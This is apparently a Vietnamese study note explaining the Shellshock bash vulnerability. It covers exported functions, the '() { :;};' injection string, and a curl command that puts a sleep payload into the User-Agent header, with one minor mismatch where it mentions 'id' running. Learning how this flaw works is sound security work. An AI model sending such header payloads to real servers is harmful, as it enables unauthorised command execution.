What is Shellshock Vulnerability?

Tồn tại trong bash shell (một command language interpreter) cho phép attacker thực thi lệnh tùy ý thông qua một biến môi trường.

History of Shellshock Vulnerability

Được phát hiện năm 2014 và các phiên bản của bash shell từ 1.0.3 đến 4.3 đều bị ảnh hưởng.

How Can Shellshock Vulnerability Be Exploited?

Lỗ hổng shellshock xảy ra khi một biến môi trường nào đó được truyền vào bash shell và có một sub-shell (là bash shell trong bash shell khác) được tạo ra.

Trong bash shell, shell variable không được kế thừa bởi sub-shell:

$ t="hi there"
$ echo $t
hi there
$ bash
$ echo $t
 
$ exit

Tuy nhiên, nếu dùng lệnh export thì sub-shell sẽ kế thừa biến:

$ echo $t
hi there
$ export t
$ bash
$ echo $t
hi there
$ exit

Lệnh export sẽ biến t trở thành một biến môi trường.

Đối với hàm cũng tương tự:

$ fn() { echo "test"; }
$ fn
test
$ bash
$ fn
fn: command not found
$ exit
$ export -f fn
$ bash
$ fn
test
$ exit

Option -f cho biết ta muốn export hàm.

Hàm cũng có thể được định nghĩa thông qua toán tử gán bằng như sau:

$ fn='() { echo "test" ; }'

Important

Khi một sub-shell kế thừa biến fn được định nghĩa như trên, nó sẽ xem đây là một định nghĩa hàm và có thể thực thi các câu lệnh phía sau định nghĩa hàm.

Payload mà kẻ tấn công sử dụng sẽ bao gồm chuỗi () { :; }; và một câu lệnh tùy ý nào đó ở đằng sau. Ví dụ:

() { :;}; /usr/bin/sleep 5

Ký tự : tương tứng với giá trị true:

$ if true; then echo yes; fi
yes
$ if :; then echo yes; fi
yes

Xét request sau:

GET / HTTP/1.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
Host: cloudflare.com

Các web server thường lưu giá trị của các header vào các biến môi trường để xử lý trong code. Ví dụ:

export HTTP_ACCEPT_ENCODING=gzip,deflate,sdch
export HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6
export HTTP_CACHE_CONTROL=no-cache
export HTTP_PRAGMA=no-cache
export HTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
export HTTP_HOST=cloudflare.com

Attacker có thể truyền payload vào header User-Agent như sau:

curl -H "User-Agent: () {:;}; /usr/bin/sleep 5" http://example.com/

Request có dạng như sau:

GET / HTTP/1.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
Cache-Control: no-cache
Pragma: no-cache
User-Agent: () {:;}; /usr/bin/sleep 5
Host: cloudflare.com

Khi đó, biến môi trường HTTP_USER_AGENT trở thành:

export HTTP_USER_AGENT=() {:;}; /usr/bin/sleep 5

Nếu sau đó có một sub-shell được tạo ra thì câu lệnh id sẽ được thực thi.

Important

Việc sub-shell được tạo ra là điều kiện cần của lỗ hổng.

list
from outgoing([[Shellshock]])
sort file.ctime asc

Resources